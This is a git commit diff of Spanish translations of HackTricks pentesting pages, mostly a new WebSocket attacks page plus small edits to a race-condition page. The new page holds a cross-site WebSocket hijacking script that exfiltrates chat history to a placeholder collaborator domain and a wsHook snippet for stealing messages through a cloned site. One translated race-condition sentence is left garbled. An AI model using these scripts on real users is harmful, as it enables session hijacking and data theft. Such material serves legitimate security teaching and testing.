Translated ['pentesting-web/race-condition.md', 'pentesting-web/web-vuln

This commit is contained in:
Translator 2023-09-26 11:22:10 +00:00
parent 6d0edb75d3
commit 6134546f8c
4 changed files with 203 additions and 17 deletions

View file

@ -540,7 +540,7 @@
* [Cookie Bomb](pentesting-web/hacking-with-cookies/cookie-bomb.md)
* [CORS - Misconfigurations & Bypass](pentesting-web/cors-bypass.md)
* [CRLF (%0D%0A) Injection](pentesting-web/crlf-0d-0a.md)
* [Cross-site WebSocket hijacking (CSWSH)](pentesting-web/cross-site-websocket-hijacking-cswsh.md)
* [WebSocket Attacks](pentesting-web/websocket-attacks.md)
* [CSRF (Cross Site Request Forgery)](pentesting-web/csrf-cross-site-request-forgery.md)
* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection/README.md)
* [SS-Leaks](pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md)

View file

@ -47,7 +47,7 @@ A continuación, **prepárate para enviar los marcos finales**:
Finalmente, envía los marcos retenidos. Deberías poder verificar que llegaron en un solo paquete usando Wireshark.
{% hint style="info" %}
Ten en cuenta que esto **no funciona para archivos estáticos** en ciertos servidores, pero como los archivos estáticos no son relevantes para los ataques de condición de carrera, esto no es un problema.
Ten en cuenta que esto **no funciona para archivos estáticos** en ciertos servidores, pero como los archivos estáticos no son relevantes para los ataques de condición de carrera. Pero los archivos estáticos son irrelevantes para los ataques de CC.
{% endhint %}
Utilizando esta técnica, puedes hacer que 20-30 solicitudes lleguen al servidor simultáneamente, sin importar el jitter de la red:
@ -58,7 +58,7 @@ Utilizando esta técnica, puedes hacer que 20-30 solicitudes lleguen al servidor
Vale la pena señalar que muchas aplicaciones se encuentran detrás de un servidor frontal, y estos pueden decidir reenviar algunas solicitudes a través de conexiones existentes hacia el backend, y crear conexiones nuevas para otras.
Como resultado, es importante no atribuir el tiempo inconsistente de las solicitudes al comportamiento de la aplicación, como mecanismos de bloqueo que solo permiten que un solo hilo acceda a un recurso a la vez. Además, el enrutamiento de solicitudes del servidor frontal se realiza a menudo por conexión, por lo que es posible que puedas suavizar el tiempo de las solicitudes realizando un calentamiento de la conexión en el lado del servidor, **enviando algunas solicitudes inconsecuentes a través de tu conexión antes de realizar el ataque** (esto significa enviar varias solicitudes antes de comenzar el ataque real).
Como resultado, es importante no atribuir el tiempo inconsistente de las solicitudes al comportamiento de la aplicación, como mecanismos de bloqueo que solo permiten que un solo hilo acceda a un recurso a la vez. Además, el enrutamiento de solicitudes del servidor frontal se realiza a menudo por conexión, por lo que es posible que puedas suavizar el tiempo de las solicitudes realizando un calentamiento de la conexión en el lado del servidor, **enviando algunas solicitudes inconsecuentes a través de tu conexión antes de realizar el ataque** (esto es simplemente enviar varias solicitudes antes de comenzar el ataque real).
#### Mecanismos de bloqueo basados en sesiones <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
@ -134,7 +134,7 @@ engine.openGate(currentAttempt)
* Para **limit-overrun**, simplemente puedes agregar la **misma solicitud 50 veces** en el grupo.
* Para **calentar la conexión**, puedes **agregar** al **principio** del **grupo** algunas **solicitudes** a alguna parte no estática del servidor web.
* Para **retrasar** el proceso **entre** el procesamiento **de una solicitud y otra** en 2 pasos de subestado, puedes **agregar solicitudes adicionales entre** ambas solicitudes.
* Para un RC de **múltiples puntos finales**, puedes comenzar enviando la **solicitud** que **va al estado oculto** y luego **50 solicitudes** justo después de ella que **explotan el estado oculto**.
* Para un RC de **multi-endpoint**, puedes comenzar enviando la **solicitud** que **va al estado oculto** y luego **50 solicitudes** justo después de ella que **explotan el estado oculto**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -167,13 +167,15 @@ table.add(req)
La biblioteca `asyncio` de Python es una herramienta poderosa para escribir código asíncrono y concurrente. Permite realizar operaciones de entrada/salida (E/S) de manera eficiente y manejar múltiples tareas de forma concurrente.
La programación asíncrona es especialmente útil en situaciones en las que se requiere realizar múltiples tareas simultáneamente, como en el caso de las pruebas de penetración web. Una técnica comúnmente utilizada en las pruebas de penetración web es la condición de carrera.
La programación asíncrona es especialmente útil en situaciones en las que se requiere realizar múltiples tareas simultáneamente, como en el caso de las pruebas de penetración. Una técnica comúnmente utilizada en las pruebas de penetración es la condición de carrera.
Una condición de carrera ocurre cuando dos o más procesos o hilos intentan acceder y modificar un recurso compartido al mismo tiempo, lo que puede llevar a resultados inesperados o inseguros. En el contexto de las pruebas de penetración web, esto puede ser aprovechado para obtener acceso no autorizado o realizar acciones maliciosas.
Una condición de carrera ocurre cuando dos o más procesos o hilos intentan acceder y modificar un recurso compartido al mismo tiempo, lo que puede llevar a resultados inesperados o inseguros. En el contexto de las pruebas de penetración web, una condición de carrera puede ser explotada para obtener acceso no autorizado o realizar acciones maliciosas.
La biblioteca `asyncio` proporciona una forma conveniente de simular condiciones de carrera en pruebas de penetración web. Al utilizar la programación asíncrona, podemos crear múltiples tareas que intenten acceder y modificar un recurso compartido al mismo tiempo, lo que nos permite identificar posibles vulnerabilidades y evaluar la seguridad de una aplicación web.
Para aprovechar una condición de carrera en una aplicación web, es necesario identificar un punto de vulnerabilidad donde se pueda manipular el estado de la aplicación. Esto puede ser, por ejemplo, una operación de actualización de perfil de usuario o una transacción financiera.
En resumen, la biblioteca `asyncio` de Python es una herramienta útil para realizar pruebas de penetración web y simular condiciones de carrera. Al aprovechar la programación asíncrona, podemos identificar posibles vulnerabilidades y evaluar la seguridad de una aplicación web de manera eficiente.
Una vez identificado el punto de vulnerabilidad, se pueden realizar múltiples solicitudes simultáneas para intentar explotar la condición de carrera. Esto se puede lograr utilizando la biblioteca `asyncio` de Python para enviar solicitudes concurrentes y controlar el orden de ejecución.
Es importante tener en cuenta que la explotación de una condición de carrera es una actividad ilegal y solo debe realizarse con el consentimiento explícito del propietario del sistema. Las pruebas de penetración éticas son una forma legítima de evaluar la seguridad de un sistema, siempre y cuando se realicen dentro de los límites legales y éticos.
```python
import asyncio
import httpx
@ -303,17 +305,21 @@ Como puedes ver, esto es en realidad una **secuencia de múltiples pasos dentro
### Persistencia eterna de OAuth2
Existen varios [**proveedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Estos servicios te permitirán crear una aplicación y autenticar a los usuarios registrados en el proveedor. Para hacerlo, el **cliente** deberá **permitir que tu aplicación** acceda a algunos de sus datos dentro del **proveedor de OAuth**.\
Existen varios [**proveedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Estos servicios te permitirán crear una aplicación y autenticar a los usuarios que el proveedor ha registrado. Para hacerlo, el **cliente** deberá **permitir que tu aplicación** acceda a algunos de sus datos dentro del **proveedor de OAuth**.\
Hasta aquí, solo es un inicio de sesión común con Google/LinkedIn/GitHub... donde se te muestra una página que dice: "_La aplicación \<InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?_"
#### Condición de carrera en `authorization_code`
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta aplicación **abusa de una condición de carrera en el proveedor de servicios de OAuth** para generar más de un AT/RT (Token de Autenticación/Token de Actualización) a partir del **`authorization_code`** para tu cuenta. Básicamente, aprovechará el hecho de que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, se eliminará un par de AT/RT, pero los demás seguirán siendo válidos**.
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta aplicación **abusa de una condición de carrera en el proveedor de servicios de OAuth para generar más de un AT/RT** (Token de Autenticación/Token de Actualización) a partir del **`authorization_code`** para tu cuenta. Básicamente, aprovechará el hecho de que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, se eliminará un par de AT/RT, pero los demás seguirán siendo válidos**.
#### Condición de carrera en `Refresh Token`
Una vez que hayas **obtenido un RT válido**, podrías intentar **abusar de él para generar varios AT/RT**, e incluso si el usuario cancela los permisos para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos**.
## **RC en WebSockets**
En [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) puedes encontrar un PoC en Java para enviar mensajes de WebSocket en **paralelo** y abusar de las **condiciones de carrera también en WebSockets**.
## Referencias
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
@ -330,14 +336,14 @@ Una vez que hayas **obtenido un RT válido**, podrías intentar **abusar de él
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar fácilmente flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -76,7 +76,7 @@ Si la funcionalidad se puede utilizar para buscar algún tipo de datos dentro de
Cuando un websocket envía un mensaje o un formulario que permite a los usuarios realizar acciones, pueden surgir vulnerabilidades.
* [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
* [ ] [**Secuestro de WebSocket entre sitios (CSWSH)**](../cross-site-websocket-hijacking-cswsh.md)
* [ ] [**Secuestro de WebSocket entre sitios (CSWSH)**](../websocket-attacks.md)
* [ ] [**Vulnerabilidades de PostMessage**](../postmessage-vulnerabilities/)
### **Encabezados HTTP**
@ -85,12 +85,12 @@ Dependiendo de los encabezados HTTP proporcionados por el servidor web, pueden e
* [ ] [**Clickjacking**](../clickjacking.md)
* [ ] [**Bypass de la Política de Seguridad de Contenido**](../content-security-policy-csp-bypass/)
* [ ] [**Hacking con Cookies**](../hacking-with-cookies/)
* [ ] [**Hacking de Cookies**](../hacking-with-cookies/)
* [ ] [**CORS - Configuraciones incorrectas y Bypass**](../cors-bypass.md)
### **Bypasses**
Existen varias funcionalidades específicas donde pueden ser útiles algunos métodos alternativos para evadirlas.
Existen varias funcionalidades específicas donde algunos métodos alternativos pueden ser útiles para evadirlos.
* [ ] [**Bypass de 2FA/OTP**](../2fa-bypass.md)
* [ ] [**Bypass del Proceso de Pago**](../bypass-payment-process.md)
@ -141,8 +141,8 @@ Estas vulnerabilidades pueden ayudar a explotar otras vulnerabilidades.
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -0,0 +1,180 @@
# Ataques a WebSockets
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## ¿Qué son los WebSockets?
Las conexiones WebSocket se inician a través de **HTTP** y suelen ser **de larga duración**. Los mensajes se pueden enviar en **ambas direcciones en cualquier momento** y no tienen una naturaleza transaccional. La conexión normalmente permanecerá abierta e inactiva hasta que el cliente o el servidor estén listos para enviar un mensaje.\
Los WebSockets son particularmente útiles en situaciones donde se requieren **mensajes de baja latencia o iniciados por el servidor**, como feeds en tiempo real de datos financieros.
## ¿Cómo se establecen las conexiones WebSocket?
(Aquí encontrarás un resumen, pero una **guía más detallada sobre cómo se crea una conexión de WebSocket** se puede encontrar [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
Las conexiones WebSocket se crean normalmente utilizando JavaScript en el lado del cliente, como el siguiente:
```javascript
var ws = new WebSocket("wss://normal-website.com/chat");
```
El protocolo **`wss`** establece una conexión WebSocket sobre una conexión **TLS** encriptada, mientras que el protocolo **`ws`** utiliza una conexión **no encriptada**.
Para establecer la conexión, el navegador y el servidor realizan un handshake WebSocket a través de HTTP. El navegador emite una solicitud de handshake WebSocket como la siguiente:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Si el servidor acepta la conexión, devuelve una respuesta de apretón de manos de WebSocket como la siguiente:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
En este punto, la conexión de red permanece abierta y se puede utilizar para enviar mensajes de WebSocket en ambas direcciones.
**Nota**
Varios **aspectos** de los mensajes de **apretón de manos** de WebSocket son dignos de mención:
* Los encabezados **`Connection`** y **`Upgrade`** en la solicitud y respuesta **indican** que se trata de un **apretón de manos de WebSocket**.
* El encabezado de solicitud **`Sec-WebSocket-Version`** especifica la **versión del protocolo WebSocket** que el cliente desea utilizar. Esto suele ser `13`.
* El encabezado de solicitud **`Sec-WebSocket-Key`** contiene un **valor aleatorio** codificado en Base64, que debe generarse aleatoriamente en cada solicitud de apretón de manos.
* El encabezado de respuesta **`Sec-WebSocket-Accept`** contiene un hash del valor enviado en el encabezado de solicitud `Sec-WebSocket-Key`, concatenado con una cadena específica definida en la especificación del protocolo. Esto se hace para evitar respuestas engañosas resultantes de servidores mal configurados o proxies de caché.
El encabezado **`Sec-WebSocket-Key`** contiene un **valor aleatorio** para evitar errores de proxies de caché y **no se utiliza con fines de autenticación o manejo de sesiones** (_No es un token CSRF_).
### Consola de Linux
Puede utilizar `websocat` para establecer una conexión en bruto con un websocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
O para crear un servidor websocat:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
## Conexiones websocket MitM
Si descubres que los clientes están conectados a un **websocket HTTP** desde tu red local actual, puedes intentar un [Ataque de ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
Una vez que el cliente esté intentando conectarse, puedes utilizar:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
## Enumeración de Websockets
Puedes utilizar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, identificar y buscar** **vulnerabilidades** conocidas en websockets de forma automática.
## Herramientas de depuración de Websockets
* **Burp Suite** admite la comunicación de websockets en modo MitM de manera muy similar a como lo hace para la comunicación HTTP regular.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
* [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL interactivo de websockets** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes entrantes de websockets y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs utilizando **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs utilizando **websockets**.
## Laboratorio de Websockets
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web utilizando websockets y en [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
## Secuestro de WebSocket entre sitios (CSWSH)
También conocido como _secuestro de WebSocket entre orígenes_.\
**Es un** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **en un handshake de WebSocket**.
Surge cuando la solicitud de **handshake de WebSocket** se basa únicamente en **cookies HTTP** para el manejo de sesiones y no contiene ningún token CSRF u otros valores impredecibles.\
Un atacante puede crear una **página web maliciosa** en su propio dominio que **establece una conexión de WebSocket entre sitios** con la aplicación vulnerable. La aplicación manejará la conexión en el **contexto de la sesión del usuario víctima** con la aplicación.
### Ataque simple
Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** se **envía** al servidor. El **servidor** puede estar utilizándola para **relacionar** a cada **usuario específico** con su **sesión de websocket basada en la cookie enviada**.
Entonces, si por **ejemplo** el **servidor de websocket** **envía de vuelta el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **simple XSS** al establecer la conexión (la **cookie** se enviará **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" será capaz de **recuperar** el historial de la **conversación**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie con un subdominio diferente
En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), el atacante logró **ejecutar código Javascript arbitrario en un subdominio** del dominio donde se estaba produciendo la comunicación del websocket. Debido a que era un **subdominio**, la **cookie** se estaba **enviando**, y debido a que el **Websocket no verificaba correctamente el origen**, era posible comunicarse con él y **robar tokens de él**.
### Robando datos del usuario
Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde se produce la comunicación del websocket, agrega este código:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
Ahora descarga el archivo `wsHook.js` desde [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos a través del websocket:
```javascript
sudo python3 -m http.server 80
```
## Condiciones de carrera
Las Condiciones de Carrera en WebSockets también son un problema, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
## Otras vulnerabilidades
Como los WebSockets son un mecanismo para **enviar datos al lado del servidor y al lado del cliente**, dependiendo de cómo el servidor y el cliente manejen la información, **los WebSockets pueden ser utilizados para explotar varias vulnerabilidades como XSS, SQLi o cualquier otra vulnerabilidad web común utilizando la entrada de un usuario desde un websocket**.
## **WebSocket Smuggling**
Esta vulnerabilidad podría permitirte **burlar las restricciones de los proxies inversos** haciéndoles creer que se estableció una **comunicación websocket** (aunque no sea cierto). Esto podría permitir a un atacante **acceder a puntos finales ocultos**. Para obtener más información, consulta la siguiente página:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
## Referencias
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>